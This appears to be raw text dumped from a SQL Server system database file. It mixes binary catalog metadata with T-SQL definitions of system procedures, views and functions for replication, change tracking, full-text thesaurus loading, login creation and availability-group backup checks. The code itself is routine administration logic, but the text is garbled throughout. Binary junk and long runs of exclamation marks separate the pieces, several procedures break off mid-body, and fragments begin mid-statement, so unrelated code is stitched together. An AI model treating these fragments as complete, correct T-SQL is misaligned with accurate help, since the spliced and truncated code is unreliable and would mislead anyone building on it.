0order_direction6:	.order_position6:2ordinal_position6; comment6;config6;status6;value6< comment6<config6<status6<value6=2binarydefinition6=csid6=&definition6=(description6=id6=name6=status6=type6>alias6>$datefirst6>&dateformat6>	days6>langid6>
lcid6>months6>$msglangid6>name6>(shortmonths6> upgrade6?(avgexectime6?"bucketid6?*cacheobjtype6?
&dateformat6?dbid6?"dbidexec6?langid6?$lastreads6?"lasttime6?&lastwrites6?(maxexectime6?objid6? objtype6?
$pagesused6?$refcounts6? setopts6?sql6?"sqlbytes6?status6?uid6?	$usecounts6@dbid6@fileid6@
"filename6@ groupid6@growth6@ maxsize6@	name6@perf6@size6@status6i autoval6ibitpos6i"cdefault6i	colid6i$collation6i(collationid6i"colorder6i
 colstat6idomain6iid6i&iscomputed6i&isnullable6i&isoutparam6i"language6ilength6iname6inumber6ioffset6iprec6i"printfmt6i"reserved6iscale6istatus6i *tdscollation6itype6i"typestat6i"usertype6i
 xoffset6ixprec6ixscalehL,
jH&



v
P
*

fB&tZ:



~
f
H
&

				j	B		|V,
\>$lN4hJ,b4~R&XnH$`	<0W0
R1 58
CREATE PROC sys.sp_flush_commit_table (@flush_ts BIGINT, @cleanup_version BIGINT = NULL, @rowcount INT OUTPUT, @date_cleanedup DATETIME OUTPUT) AS
BEGIN
	DECLARE @cleanup_ts BIGINT
	SET		@cleanup_ts = change_tracking_hardened_cleanup_version ()
	
	IF @cleanup_ts > @cleanup_version
		SET @cleanup_ts = @cleanup_version 

	DECLARE @start_ts BIGINT
	SET		@start_ts = (SELECT MAX(commit_ts) FROM sys.syscommittab)

	IF @start_ts IS NULL OR @start_ts < @cleanup_ts
		SET @start_ts = @cleanup_ts 

	INSERT	sys.syscommittab
	SELECT	*
	FROM	OpenRowset (table SYSCOMMITTABLE, db_id (), @start_ts, 1)
	WHERE	commit_ts <= @flush_ts

	IF @@ROWCOUNT > 10000
		SET @rowcount = @@ROWCOUNT
	ELSE
		SET @rowcount = 10000

	DELETE TOP(@rowcount) sys.syscommittab WHERE commit_ts < @cleanup_ts 
	SET @rowcount = @@ROWCOUNT

	select @date_cleanedup=min(commit_time) from sys.syscommittab where commit_ts = (select min(commit_ts) from sys.syscommittab)
	
	IF (@date_cleanedup is null)
		SET @date_cleanedup = GETUTCDATE()

END			
0t3@ 8create proc sys.sp_fulltext_semantic_unregister_language_statistics_db
as
begin
	set nocount	on
	declare @returncode int
	EXEC @returncode = sys.sp_fulltext_semantic_unregister_language_statistics_db_internal
	return @returncode
end
0/)O D8#h90M8@ l8create procedure sys.sp_refresh_heterogeneous_publisher
(
    @publisher sysname
)
as
begin
    set nocount on
    declare @cmd nvarchar(4000)
                ,@retcode int
                ,@publisher_type sysname

    exec @retcode = sys.sp_MSrepl_getpublisherinfo  @publisher        = @publisher,
                                                                        @rpcheader        = @cmd OUTPUT,
                                                                        @publisher_type    = @publisher_type OUTPUT
    
    if @retcode <> 0
        return (@retcode)

    select @publisher = UPPER(@publisher) 
            ,@cmd = @cmd + N'sys.sp_MSrepl_refresh_heterogeneous_publisher'
    
    exec @retcode = @cmd
                    @publisher,
                    @publisher_type

    return (@retcode)
end
0: 8create function sys.fn_replmerge_get_cmdcounts (
    @session_id int,
    @phase_id int
)
returns int
as
begin
    declare @Number int
    set @Number=0

    if @phase_id = 1 -- upload
    begin
		select @Number=sum(hist.upload_inserts+hist.upload_updates+hist.upload_deletes) 
		from dbo.MSmerge_sessions hist
		where hist.session_id=@session_id	    
    end
    if @phase_id = 2 -- download
    begin
		select @Number=sum(hist.download_inserts+hist.download_updates+hist.download_deletes) 
		from dbo.MSmerge_sessions hist
		where hist.session_id=@session_id
    end       
        
    return @Number
end
0U@ A8create procedure sys.sp_MSinsertlightweightschemachange
	@pubid			uniqueidentifier,
	@schemaversion	int,
	@schemaguid 	uniqueidentifier
as
	set nocount on
	declare @retcode int
	
	-- security check
    exec @retcode = sys.sp_MSreplcheck_subscribe 
    if @retcode <> 0 or @@error <> 0 return 1
		

	update dbo.sysmergesubscriptions 
		set schemaversion= @schemaversion,
			schemaguid= @schemaguid
		where pubid = @pubid and
			  (schemaversion < @schemaversion or schemaversion is null)
	if @@error <> 0 return 1

	return 0
tabase_name), @threshold, @enabled )
			return 0
		end
		if @alert_id = 5
		begin
			if @threshold > 85440			-- this is about 10 years
			begin
				raiserror( 32036, 16, 2 )	-- generic error message about parameter out of range.
				return 1
			end
			insert into msdb.dbo.dbm_monitor_alerts (database_id, retention_period ) 
				values (db_id(@database_name), @threshold )
			return 0
		end
	end
	else
	begin
		if @alert_id = 1
		begin
			update msdb.dbo.dbm_monitor_alerts set time_behind = @threshold, enable_time_behind = @enabled where database_id = db_id(@database_name)
			return 0
		end
		if @alert_id = 2
		begin
			update msdb.dbo.dbm_monitor_alerts set send_queue = @threshold, enable_send_queue = @enabled where database_id = db_id(@database_name) 
			return 0
		end
		if @alert_id = 3
		begin
			update msdb.dbo.dbm_monitor_alerts set redo_queue = @threshold, enable_redo_queue = @enabled where database_id = db_id(@database_name) 
			return 0
		end
		if @alert_id = 4
		begin
			update msdb.dbo.dbm_monitor_alerts set average_delay = @threshold, enable_average_delay = @enabled where database_id = db_id(@database_name) 
			return 0
		end
		if @alert_id = 5
		begin
			if @threshold > 85440			-- this is about 10 years
			begin
				raiserror( 32036, 16, 2 )	-- generic error message about parameter out of range.
				return 1
			end
			update msdb.dbo.dbm_monitor_alerts set retention_period = @threshold where database_id = db_id(@database_name) 			
			return 0
		end
	end
	return 1
end
0+Z 8CREATE VIEW sys.dm_resource_governor_resource_pool_affinity AS
	SELECT *
	FROM OpenRowSet(TABLE DM_RG_POOL_AFFINITY)
0 D8e&h>!}0tľ 8create procedure sys.sp_addlogin
    @loginame		sysname
   ,@passwd         sysname = Null
   ,@defdb          sysname = 'master'      -- UNDONE: DEFAULT CONFIGURABLE???
   ,@deflanguage    sysname = Null
   ,@sid			varbinary(16) = Null
   ,@encryptopt		varchar(20) = Null
AS
    -- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
	set nocount on
	declare @exec_stmt nvarchar(4000)
	declare @hextext varchar(256)
	declare @ret int

    -- DISALLOW USER TRANSACTION --
	set implicit_transactions off
	IF (@@trancount > 0)
	begin
		raiserror(15002,-1,-1,'sys.sp_addlogin')
		return (1)
	end

    -- VALIDATE LOGIN NAME:
	execute @ret = sys.sp_validname @loginame
	if (@ret <> 0)
        return (1)

	set @exec_stmt = 'create login ' + quotename(@loginame)

    if @passwd is null
        select @passwd = ''

	if (@encryptopt is null)
		set @exec_stmt = @exec_stmt + ' with password = ' + quotename(@passwd, '''')
	else
	begin
		declare @passwdbin varbinary(256)
		set @passwdbin = convert(varbinary(256), @passwd)
		execute sys.sp_hexadecimal @passwdbin, @hextext OUT
		set @exec_stmt = @exec_stmt + ' with password = ' + @hextext

		if (@encryptopt = 'skip_encryption_old')
			set @exec_stmt = @exec_stmt + ' hashed '
		else if (@encryptopt = 'skip_encryption')
			set @exec_stmt = @exec_stmt + ' hashed '
		else
		begin
			raiserror(15600,-1,-1,'sys.sp_addlogin')
			return 1
		end
	end
	
    if (@defdb is not null)
		set @exec_stmt = @exec_stmt + ', default_database = ' + quotename(@defdb)

	if (@deflanguage is not null)
		set @exec_stmt = @exec_stmt + ', default_language = ' + quotename(@deflanguage)

	if (@sid is not null)
	begin
		execute sys.sp_hexadecimal @sid, @hextext OUT
		set @exec_stmt = @exec_stmt + ', sid = ' + @hextext
	end

	exec (@exec_stmt)

	if @@error <> 0
		return (1)

    -- RETURN SUCCESS --
	return  (0)	-- sp_addlogin
0v 8 
-- add it
create view sys.dm_pdw_nodes_tran_current_transaction as
select *, convert(int, null) pdw_node_id from sys.dm_tran_current_transaction
0/)O D8#h9!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!V	`<0 \8CREATE PROC sys.sp_fulltext_load_thesaurus_file
    @lcid int,
    @loadOnlyIfNotLoaded bit = 0
AS
BEGIN
    SET NOCOUNT ON
    SET IMPLICIT_TRANSACTIONS OFF

    -- sp_fulltext_load_thesaurus_files will run under read committed isolation level
    SET TRANSACTION ISOLATION LEVEL READ COMMITTED

    -- CHECK PERMISSIONS (must be serveradmin)
    if (is_srvrolemember('serveradmin') = 0)
    begin
        raiserror(15247,-1,-1)
        return 1
    end

    -- Disallow user transaction on this sp
    --
    if @@trancount > 0
    begin
        raiserror(15002,-1,-1,'sys.sp_fulltext_load_thesaurus_file')
        return 1
    end

    BEGIN TRY

    BEGIN TRAN

    DECLARE @thesaurusFilePath nvarchar(260)
    SELECT @thesaurusFilePath = NULL
    SELECT @thesaurusFilePath = thesaurus_file_path 
    FROM sys.fn_ft_thesaurus_files()
    WHERE lcid = @lcid

    -- raiserror if @filePath is NULL
    --
    IF (@thesaurusFilePath IS NULL)
    BEGIN
        RAISERROR(30048, 16, 1, @lcid) 
    END
 
    -- load the XML thesaurus file into an xml datatype variable, thereby ensuring that the XML is well formed
    -- Note: the XML is not validated against a schema, since there are issues with the Yukon XML files
    --
    DECLARE @thesaurus xml
    DECLARE @sqlString nvarchar(1024)
    SELECT @sqlString=N'SELECT @thesaurusOut=X.root FROM OPENROWSET(BULK N' + QUOTENAME(@thesaurusFilePath, '''') + N', SINGLE_BLOB) AS X(root)'
    EXECUTE sp_executesql @sqlString, N'@thesaurusOut xml OUTPUT', @thesaurusOut = @thesaurus OUTPUT;

    DECLARE @diacritics_sensitive bit
    SELECT @diacritics_sensitive = 0
    SELECT @diacritics_sensitive = Thesaurus.d_s.value('.', 'bit') 
    FROM @thesaurus.nodes(N'declare namespace PD="x-schema:tsSchema.xml";/XML/PD:thesaurus/PD:diacritics_sensitive') AS Thesaurus(d_s)

    -- This takes a lock on the lcid row
    -- All codepaths accessing the state table, phrase table serialize on the lcid row in this table
    BEGIN TRY
       INSERT tempdb.sys.fulltext_thesaurus_metadata_table VALUES(@lcid, @diacritics_sensitive)
    END TRY
    BEGIN CATCH
       DECLARE @error int
       SELECT @error = ERROR_NUMBER()
       IF (@error = 2601)
       BEGIN
          IF (@loadOnlyIfNotLoaded = 0)
          BEGIN
             -- This means this is a user explicitly calling sp_fulltext_load_thesaurus_file and hence we should
             -- load the thesaurus file again
             -- Note that no code path deletes rows from this table, hence there is no race condition here
             -- 
             UPDATE tempdb.sys.fulltext_thesaurus_metadata_table 
             SET diacritics_sensitive=@diacritics_sensitive
             WHERE lcid=@lcid
          END
          ELSE
          BEGIN
             COMMIT TRAN

             -- this means the engine is trying to load the thesaurus file as part of query
             -- and so we dont need to load the thesaurus file again
             RETURN 0
          END
       END
    END CATCH

    -- deleting existing entries for this lcid from phrase table
    --
    DELETE tempdb.sys.fulltext_thesaurus_phrase_table 
    WHERE lcid = @lcid;

    -- insert expansions and replacements
    -- Note the cast to 513 below. The max string we allow is 512 characters. If there is a phrase 
    -- longer than 512 in the file, it will get truncated to 513 length below but the word breaker fn will ex_raise
    -- it. If we make it 512 below, then the string will get silently truncated which we dont want to happen
    -- We can change to nvarchar(max) also below, but I am keeping it nvarchar(513) for perf reasons
    --
    with xmlnamespaces (N'x-schema:tsSchema.xml' as PD)
    INSERT INTO tempdb.sys.fulltext_thesaurus_phrase_table (groupid, isExpansion, isLHSOfReplacement, lcid, terms)
    SELECT X.rowid AS GroupId, 
           X.isexp AS IsExpansion, 
           Sub.Val.value('if (local-name(.) eq "pat") then 1 else 0', 'int') AS isLHSOfReplacement,
           @lcid,
           WordBrokenPhrase.concatenated_terms
    FROM
    (
    SELECT T2.exp.query('.'), 
           T2.exp.value('if (local-name(.) eq "expansion") then 1 else 0', 'int') isexp, 
           row_number() over (order by T3.DummyOrderingColumn) rowid
    FROM @thesaurus.nodes(N'(/XML/PD:thesaurus/PD:expansion, /XML/PD:thesaurus/PD:replacement)') AS T2(exp)
         -- this CROSS APPLY is needed since order by T2.exp is not a supported feature (even though it works)
         -- There is a light weight improvement that exposes ordpaths and when that gets done, one could potentially
         -- directly order by the ordpath above
         --
         CROSS APPLY (SELECT 1 AS DummyOrderingColumn) T3
    ) X(exprep, isexp, rowid)
    CROSS APPLY 
    X.exprep.nodes(N'(/PD:expansion/PD:sub, /PD:replacement/PD:pat, /PD:replacement/PD:sub)') AS Sub(Val)
    CROSS APPLY 
    sys.fn_ft_wordbreaker(@lcid, @diacritics_sensitive, Sub.Val.value('.', 'nvarchar(513)')) AS WordBrokenPhrase

    -- Update state table corresponding to phrase table
    --
    EXEC sys.sp_fulltext_thesaurus_update @lcid

    -- We need to bump up the version of the thesaurus for this lcid --
    -- This will cause a recompile on any query using an older thesaurus version -- 
    DBCC CALLFULLTEXT(23, 1, @lcid)

    COMMIT TRAN

    RETURN 0

    END TRY
    BEGIN CATCH
       IF (XACT_STATE() <> 0)
       BEGIN
          ROLLBACK TRAN
       END
       
       DECLARE @errorNumber int
       EXEC @errorNumber=sys.sp_fulltext_rethrow_error
       RETURN @errorNumber
    END CATCH
END
0@ o8CREATE VIEW sys.dm_os_stacks AS
	SELECT *
	FROM OpenRowSet(TABLE SYSSTACKS)
0L 8CREATE PROCEDURE sys.sp_MShelp_article 
(
@publisher sysname,
@publisher_db sysname,
@publication sysname,        
@article sysname = '%'
)
as
begin
    set nocount on
    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    
    select article, article_id, source_object, description, source_owner from MSarticles a where 
        a.publisher_id = (select srvid from master.dbo.sysservers where UPPER(srvname) = UPPER(@publisher)) and 
        a.publisher_db = @publisher_db and
        a.publication_id = (select publication_id from dbo.MSpublications where 
            publisher_id = a.publisher_id and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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!+`<KI10@ 8create procedure sys.sp_user_counter5 @newvalue int as
dbcc setinstance ('SQLServer:User Settable', 'Query', 'User counter 5', @newvalue)
0]@ z8CREATE VIEW sys.dm_os_ring_buffers AS
	SELECT *
	FROM OpenRowset(TABLE SYSRINGBUFFERS)
0 8
create function [sys].[fn_cdc_get_source]
(
	@capture_instance sysname
)
returns nvarchar(1000)
with execute as 'dbo'
as
begin
	declare @quoted_source nvarchar(1000)

	select top 1 @quoted_source = quotename(object_schema_name(source_object_id)) + N'.' +
		quotename(object_name(source_object_id))
    from [cdc].[change_tables]  
    where capture_instance = rtrim(@capture_instance)
    
	return @quoted_source 	
end
0g D8,h
#0 8
create procedure sys.sp_MSgetrowmetadata
    (@tablenick int,
     @rowguid uniqueidentifier,
     @generation bigint output,
     @type  tinyint output,
     @lineage varbinary(311) output,
     @colv varbinary(2953) output,
     @pubid uniqueidentifier = NULL,
     @compatlevel int = 10) -- backward compatibility level, default=Sphinx
as
    declare @retcode        smallint
    declare @rc             int
    declare @procname       nvarchar(270)
    
    /*
    ** To public.
    */
    
    if (@tablenick is null)
    begin
        RAISERROR(14043, 16, -1, '@tablenick', 'sp_MSgetrowmetadata')
        return (1)
    end
        
    -- security check
        exec @retcode = sys.sp_MSrepl_PAL_rolecheck @tablenick=@tablenick, @pubid = @pubid
        if @@error <> 0 or @retcode <> 0
                return 1
                
    if (@rowguid is null)
    begin
        RAISERROR(14043, 16, -1, '@rowguid', 'sp_MSgetrowmetadata')
        return (1)
    end

    set @type= 4
    set @generation= 0
    set @lineage= NULL
    set @colv= NULL

    select @procname= 'dbo.' + select_proc from dbo.sysmergearticles where nickname = @tablenick and pubid = @pubid

    -- check for row in base table
    exec @retcode= @procname @maxschemaguidforarticle = NULL, @type=@type output, @rowguid=@rowguid
    if @@error <>0 or @retcode <> 0 
    begin
        return (1)
    end

    begin tran
    if (@type = 3)
    begin
        if @compatlevel < 90
        begin
            declare @iscoltracked int
            declare @cCols int
            set @iscoltracked= sys.fn_fIsColTracked(@tablenick)
            if @iscoltracked = 1
            begin
                set @cCols= sys.fn_cColvEntries_80(@pubid, @tablenick)
            end
        end

        -- row is in base table; check whether it is in contents, too
        --
        -- serializable makes sure row does not go from tombstone to contents between 
        -- querying contents and tombstone, which would falsely result in type = missing
        select @type= 2,  @generation= generation, 
               @lineage= case when @compatlevel >= 90 then lineage else {fn LINEAGE_90_TO_80(lineage)} end, 
               @colv= case when @compatlevel >= 90 or @iscoltracked = 0 then colv1 else {fn COLV_90_TO_80(colv1, @cCols)} end
            from dbo.MSmerge_contents
            with (serializable)
            where tablenick = @tablenick and rowguid = @rowguid
    end
    else
    begin
        -- row is not in base table; either it is in tombstone, or it is missing
        set @type= 0

        select @type= type, @generation= generation, 
               @lineage= case when @compatlevel >= 90 then lineage else {fn LINEAGE_90_TO_80(lineage)} end 
            from dbo.MSmerge_tombstone where
            tablenick = @tablenick and rowguid = @rowguid
    end
    commit tran
    
    return (0)
s_host_name = @uses_host_name output
                                                        , @uses_suser_sname = @uses_suser_sname output
                                                        
    if @@error <> 0 or @retcode <> 0
        goto UNDO
        
    if @has_dynamic_filters = 1
    begin
        set @can_use_partition_groups = 0
    end
        
    exec @retcode = sys.sp_MScheck_functions_indirectly_in_view @viewname = @viewname
                                                                , @use_partition_groups = NULL
                                                                , @can_use_partition_groups = @can_use_partition_groups output
                                                                , @has_dynamic_filters = @has_dynamic_filters output
                                                                , @dynamic_filters_function_list = @dynamic_filters_function_list output
                                                                , @uses_host_name = @uses_host_name output
                                                                , @uses_suser_sname = @uses_suser_sname output
    if @@error <> 0 or @retcode <> 0
        goto UNDO
        
    if @has_dynamic_filters = 1
    begin
        set @can_use_partition_groups = 0
    end
        
    -- rollback tran so that the temp view gets dropped. 
    rollback tran check_join_filter
    commit tran
    
    select can_use_partition_groups = @can_use_partition_groups
    , has_dynamic_filters = @has_dynamic_filters
    , dynamic_filters_function_list = @dynamic_filters_function_list
    , uses_host_name = @uses_host_name
    , uses_suser_sname = @uses_suser_sname
        
    return 0
    
UNDO:

    if @@trancount > 0
    begin
        rollback tran check_join_filter
        commit tran
        return 1
    end
                                 else 2 -- secondary
                             end
                     from sys.availability_replicas ar2
                     where ar2.replica_id = ar.replica_id)) like
                                                case @ag_pref
                                                    when 0 then '1' -- Primary preferred
                                                    when 1 then '2' -- Secondary Only
                                                    when 2 then '2' -- Secondary Preferred
                                                    when 3 then '%' -- No Preference
                                                end
          and ar.backup_priority > 0  -- 0 is a flag that backups are never desired on this replica.
          and ag.group_id = @ag_id
    order by ar.backup_priority desc,
             ar.replica_server_name asc;

    declare @resource_id nvarchar(100);
    declare @replica_id nvarchar(100);
    declare @available bit;
    declare @dbstate int;
    declare @found int;

    set @found = 0

    open replica_cursor;

    fetch next
    from replica_cursor into @replica_id, @resource_id, @role, @islocal;

    while (@@fetch_status = 0)
    begin
        if (@role = 1) -- If it's a Primary, it has to be online unless everything is down.
        begin
           set @found = 1
           break;
        end
	
        select @dbstate = RetrieveDbReplicaState(@resource_id, @database_group_id, @replica_id)

        if (@dbstate = 1)
        begin
            set @found = 1
            break --We have a valid replica.
        end

        fetch next
        from replica_cursor into @replica_id, @resource_id, @role, @islocal;
    end

    close replica_cursor;
    deallocate replica_cursor;

    if (@found = 0 and @ag_pref = 2)
    begin
        -- No secondaries available, see if the primary is local.
        --
        if (@primary_server_name = @local_server_name)
        begin
            return 1;
        end

        return 0;
    end

    if (@found = 1 AND @islocal = 1)
    begin
        return 1;
    end

    return 0;
end;
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\`T<R GTs0 8CREATE VIEW sys.dm_audit_actions AS
--	SELECT * FROM OpenRowset(TABLE DM_AUDIT_ACTIONS) dm
	SELECT REVERSE(CONVERT(char(4), CONVERT(BINARY(4), [action_id]))) as [action_id], 
		[action_name] as [name], 
		(SELECT spt.name 
			from master.dbo.spt_values spt where spt.type='EOD' AND spt.number = CONVERT(smallint, dm.class_id)) as [class_desc], 
		[covering_action_name],
		(SELECT spt.name 
			from master.dbo.spt_values spt where spt.type='EOD' AND spt.number = CONVERT(smallint, dm.parent_class_id)) as [parent_class_desc], 
		[covering_parent_action_name], 
		[configuration_level],
		[containing_group_name],
		[action_in_log]
	FROM OpenRowset(TABLE DM_AUDIT_ACTIONS) dm
0 !8create procedure sys.sp_MSdrop_expired_mergesubscription
AS
/*
** This stored procedure is to periodically check the status of all the subscriptions 
** of every merge publication. If any of them is out-of-date, i.e., has lost contact
** with publisher for a certain length of time, we can declare the death of that replica
** and cleanup their traces at the publisher side
*/
declare @subscription_type  int
declare @subscriber_type    int
declare @sub_type           nvarchar(5)
declare @publication        sysname
declare @pubid              uniqueidentifier
declare @subid              uniqueidentifier
declare @status             tinyint
declare @subscriber         sysname
declare @subscriber_id      int
declare @subscriber_db      sysname
declare @publisher_db       sysname
declare @retention          int -- in some time unit
declare @retention_period_unit tinyint -- the time unit
declare @retcode            smallint
declare @recgen             bigint
declare @sentgen            bigint
declare @recent_merge       datetime
declare @minus_retention2   datetime
declare @minus_retention    datetime
declare @send_ts            datetime
declare @receive_ts         datetime

/*
** Security Check
*/
    EXEC @retcode = sys.sp_MSreplcheck_publish
    IF @@ERROR <> 0 or @retcode <> 0
        return (1)

/* we do not check return code here because we can tolerate any failure here */
exec @retcode = sys.sp_MScleanup_conflict_table
if @@ERROR<>0 or @retcode<>0
    return (1)
    
exec @retcode = sys.sp_MSdrop_expired_mergesubscription90
if @@ERROR<>0 or @retcode<>0
    return (1)

declare PC CURSOR LOCAL FAST_FORWARD for select DISTINCT p.name, p.pubid, p.retention, p.retention_period_unit 
	from dbo.sysmergepublications p, dbo.sysmergesubscriptions s 
        where s.subid=p.pubid and s.pubid=p.pubid and p.snapshot_ready=1 for read only
    open PC
    fetch PC into @publication, @pubid, @retention, @retention_period_unit

WHILE (@@fetch_status <> -1)
BEGIN
    /* Compute the retention period cutoff dates per publication */
    select @minus_retention2 = sys.fn_add_units_to_date(-@retention * 2, @retention_period_unit, getdate())
    select @minus_retention = sys.fn_add_units_to_date(-@retention, @retention_period_unit, getdate())
    if @retention is not NULL and @retention > 0
    begin
        declare SC CURSOR LOCAL FAST_FORWARD for 
            select subscriber_server, db_name, subid, status, subscription_type, subscriber_type, last_sync_date 
                from dbo.sysmergesubscriptions 
                where pubid = @pubid 
                and pubid<>subid 
                and replica_version < 90 -- do this for downlevel subscribers only.
                for read only
        open SC
        fetch SC into @subscriber, @subscriber_db, @subid, @status, @subscription_type, @subscriber_type, @recent_merge
        WHILE (@@fetch_status <> -1)
        BEGIN
            if @subscription_type = 0 
                select @sub_type = 'push' 
            else 
                select @sub_type = 'pull'

            /*
            select @receive_ts = coldate from dbo.MSmerge_genhistory 
            	where guidsrc = (select recguid from dbo.sysmergesubscriptions where subid = @subid)
            select @sentgen=sentgen from dbo.sysmergesubscriptions where subid=@subid
            select @send_ts = coldate from dbo.MSmerge_genhistory where generation=@sentgen
            if @receive_ts>@send_ts select @recent_merge = @receive_ts
               else select @recent_merge = @send_ts
            */

            -- we will now check the last sync time in sysmergesubscriptions to determine if the subscription should be expired
            if @recent_merge is not NULL and @recent_merge<@minus_retention
            begin
                -- for global subscriptions call dropmergesubscription
                -- for the rest set the status of the subscription to delted or expired
                if @subscriber_type = 1
                begin
                    exec @retcode = sys.sp_dropmergesubscription  
                            @publication = @publication,
                            @subscriber = @subscriber,
                            @subscriber_db = @subscriber_db,
                            @subscription_type = @sub_type
                    if @retcode <>0 or @@ERROR<>0
                        goto FAILURE
                end
                else
                begin
                    update dbo.sysmergesubscriptions set status=2 where subid=@subid
                    IF @@ERROR<>0
                        GOTO FAILURE
                end
                raiserror(14157, 10, -1, @subscriber, @publication) 
            end

            -- do not clean up anonymous since it can come back and think that it is not expired if we clean it up. can cleanup local and global.
            -- anonymous is subscriber_type 3
            if @recent_merge is not NULL and @recent_merge<@minus_retention2 and (@subscriber_type = 1 or @subscriber_type = 2)
            begin
                -- delete supportability settings for the subscriptions that we are about to delete.
                delete from dbo.MSmerge_supportability_settings where subid = @subid            
                delete from dbo.MSmerge_log_files where subid = @subid
                    
                delete from dbo.sysmergesubscriptions where subid = @subid --delete the row in dbo.sysmergesubscription
                if @@ERROR<>0
                    goto FAILURE
                    
                exec sys.sp_MScleanup_subscriber_history @subid=@subid
                if @@ERROR<>0 
                    goto FAILURE    
                
                delete from dbo.MSmerge_replinfo where repid = @subid
                if @@ERROR<>0
                    goto FAILURE

                -- If the only remaining subscriptions are old entries (before restore),
                -- we remove them now.
                if not exists (select * from dbo.sysmergesubscriptions 
                                where status <> 7) -- REPLICA_STATUS_BeforeRestore
                begin
                    delete from dbo.sysmergesubscriptions
                    truncate table dbo.MSmerge_supportability_settings
                    truncate table dbo.MSmerge_log_files
                    truncate table dbo.MSrepl_errors
                    truncate table dbo.MSmerge_history
                    truncate table dbo.MSmerge_articlehistory
                    truncate table dbo.MSmerge_sessions
                    delete from dbo.MSmerge_replinfo
                end
            end
            fetch SC into @subscriber, @subscriber_db, @subid, @status, @subscription_type, @subscriber_type, @recent_merge
        END
        CLOSE SC
        DEALLOCATE SC
    end
    fetch PC into @publication, @pubid, @retention, @retention_period_unit
END
CLOSE PC
DEALLOCATE PC
return (0)

FAILURE:
    close SC
    deallocate SC
    close PC
    deallocate PC
    return (1)
1`v<X<	0E '8
CREATE FUNCTION sys.dm_sql_referenced_entities(@name nvarchar(517), @referencing_class nvarchar(60)= N'OBJECT')
RETURNS TABLE
AS		   
	RETURN 
		   -- Get dependency information from the STVF (This will return nothing if @name is schema bound)
		SELECT * FROM OPENROWSET(TABLE DM_SQL_REFERENCED_ENTITIES, @name, @referencing_class)
				-- FHasSQLDefinitionAccess is checked in the STVF
	        UNION ALL
		   -- Get dependency information for schema bound entities from the view.
		SELECT
		   dp.referencing_minor_id as referencing_minor_id,
		   NULL AS referenced_server_name,
		   NULL AS referenced_database_name,
		   dp.referenced_schema_name AS referenced_schema_name,
		   dp.referenced_entity_name AS referenced_entity_name,
		   dp.referenced_minor_name as referenced_minor_name,
		   dp.referenced_id AS referenced_id,
		   dp.referenced_minor_id AS referenced_minor_id,
		   dp.referenced_class AS referenced_class,
		   dp.referenced_class_desc AS referenced_class_desc,
		   sysconv(bit, 0) AS is_caller_dependent,
		   sysconv(bit, 0) AS is_ambiguous,
		   is_selected,
		   is_updated,
		   is_select_all,
		   sysconv(bit, 1) AS is_all_columns_found	-- 1 because for columns of tables which become schema-bound 
		                                       		-- when they are used in computed columns, we should show 1
	   FROM sys.sql_expression_dependencies$ dp
	   WHERE dp.is_schema_bound_reference = 1
		   AND dp.referencing_id = entity_id(parsename(@name, 4), 
						parsename(@name, 3), 
						parsename(@name, 2), 
						parsename(@name, 1), 
						CASE LOWER (@referencing_class collate Latin1_General_CI_AS)
						WHEN N'object' THEN 1
						ELSE 0 
						END,
						0, 
						NULL)
		   AND has_access('OD', object_id(@name)) = 1
0s<H 8
--
-- Name:    
--          fn_IHcompareversion
--          
-- Description: 
--          Compares base version with instance version.
--
--			Example:
--				baseVersion == 9
--				version     == 9.01.0534
--  
-- Security: 
--          Internal
--
-- Returns:
--          1 == pass
--			0 == fail
--      
-- Owner:   
--          <current owner> 

CREATE FUNCTION sys.fn_IHcompareversion
(
	@baseVersion	sysname,
	@version		sysname
)
RETURNS bit
AS
BEGIN
	DECLARE @retVal bit
	
	IF	(@version = N'%') OR
        (@version = @baseVersion) OR
		(@version LIKE (@baseVersion + N'.%')) OR
		(@baseVersion IS NULL AND @version IS NULL)
	BEGIN
		SET @retVal = 1
	END
	ELSE
	BEGIN
		SET @retVal = 0
	END

	RETURN @retVal
end
0mJ 8create procedure sys.sp_MSreplsup_table_has_pk 
(
    @tabid INT
)
as
begin
    set nocount on

    -- if it's a table, check that it has a PK
    -- if it's a view, see if it has an index ( MVs must have a unique CI )

    IF EXISTS (SELECT so1.name 
                    FROM sys.objects as so1
                        join sys.objects as so2
                            on so2.object_id = so1.parent_object_id
                   WHERE so1.parent_object_id = @tabid
                   AND so1.type = 'PK'
